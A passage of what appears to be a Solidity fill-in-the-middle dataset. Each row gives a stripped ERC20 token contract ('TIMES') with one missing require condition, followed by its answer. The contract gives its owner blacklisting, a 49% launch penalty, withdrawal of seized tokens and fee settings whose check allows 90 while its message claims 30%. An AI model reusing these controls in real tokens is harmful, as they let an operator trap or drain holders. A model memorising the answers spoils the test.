function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| (_marketing+_liquidity)<=90,"Must keep fees lower than 30%" | 69,346 | (_marketing+_liquidity)<=90 |
"No flash wallet allowed!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
require(<FILL_ME>)
if (isContract(_to)) return _from;
else return _to;
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| !isContract(_to)||!isContract(_from),"No flash wallet allowed!" | 69,346 | !isContract(_to)||!isContract(_from) |
"You have no power here!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListedBot[to], "You have no power here!");
require(<FILL_ME>)
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if(_OnlyHuman){
if(!FlashWalletExempt[from] && !FlashWalletExempt[to])
{
_checkFlashWallet(from,to);
}
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping &&
!_isExcludedFromFees[to] &&
!_isExcludedFromFees[from]
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferBlock[tx.origin] < block.number - 1 && _holderLastTransferBlock[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferBlock[tx.origin] = block.number;
_holderLastTransferBlock[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) {
require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) {
require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount.");
}
else if (!_isExcludedmaxTxnAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to Marketing wallet to allow potential refund.
if((tradingActiveBlock >= block.number - _Blocks) && automatedMarketMakerPairs[from]){
fees = amount * 49 / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && TotalsellFees > 0){
fees = amount * TotalsellFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && TotalbuyFees > 0) {
fees = amount * TotalbuyFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / TotalbuyFees;
tokensForMarketing += fees * buyMarketingFee / TotalbuyFees;
tokensForDev += fees * buyDevFee / TotalbuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| !_isBlackListedBot[tx.origin],"You have no power here!" | 69,346 | !_isBlackListedBot[tx.origin] |
"_transfer:: Transfer Delay enabled. Try again later." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
//launch variables
bool public tradingActive = false;
uint256 public _Blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
//disable flash wallets & mev bots
bool public _OnlyHuman=false;
mapping(address => bool) public FlashWalletExempt;
//fees setup
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// set automarketmaker pairs
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
//antibot
address[] private _blackListedBots;
mapping (address => bool) private _isBlackListedBot;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() payable {
}
receive() external payable {}
// Toggle Transfer delay
function toggleTransferDelay(bool value) external onlyOwner {
}
function toggleOnlyHumans(bool value) external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function _setFlashWalletExempt(address account, bool value) external onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _marketing,address _liquidity,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _checkFlashWallet(address _to, address _from) internal virtual returns (address) {
}
function isContract(address account) internal view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[tx.origin], "You have no power here!");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if(_OnlyHuman){
if(!FlashWalletExempt[from] && !FlashWalletExempt[to])
{
_checkFlashWallet(from,to);
}
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping &&
!_isExcludedFromFees[to] &&
!_isExcludedFromFees[from]
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(<FILL_ME>)
_holderLastTransferBlock[tx.origin] = block.number;
_holderLastTransferBlock[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) {
require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) {
require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount.");
}
else if (!_isExcludedmaxTxnAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to Marketing wallet to allow potential refund.
if((tradingActiveBlock >= block.number - _Blocks) && automatedMarketMakerPairs[from]){
fees = amount * 49 / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && TotalsellFees > 0){
fees = amount * TotalsellFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && TotalbuyFees > 0) {
fees = amount * TotalbuyFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / TotalbuyFees;
tokensForMarketing += fees * buyMarketingFee / TotalbuyFees;
tokensForDev += fees * buyDevFee / TotalbuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function _initializeLP(address _router,bool _addliq) external onlyOwner{
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function withdrawStuckERC(address _ERC) external onlyOwner {
}
//to remove later
function _process_airdrop(address from , address[] memory _a,uint256[] memory _am) external onlyOwner{
}
function _change_sblocks(uint256 _n) external onlyOwner{
}
function _TotalSnipersTokens() public view returns(uint256) {
}
function _WithdrawSnipersTokens(address receiver) external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _addBotToBlackList(address account) external onlyOwner() {
}
function _bulkaddBotsToBlackList(address[] memory Addresses) external onlyOwner() {
}
function _removeBotFromBlackList(address account) external onlyOwner() {
}
}
| _holderLastTransferBlock[tx.origin]<block.number-1&&_holderLastTransferBlock[to]<block.number-1,"_transfer:: Transfer Delay enabled. Try again later." | 69,346 | _holderLastTransferBlock[tx.origin]<block.number-1&&_holderLastTransferBlock[to]<block.number-1 |
'We can not blacklist router.' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor() {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() external virtual onlyOwner {
}
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract TIMES is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
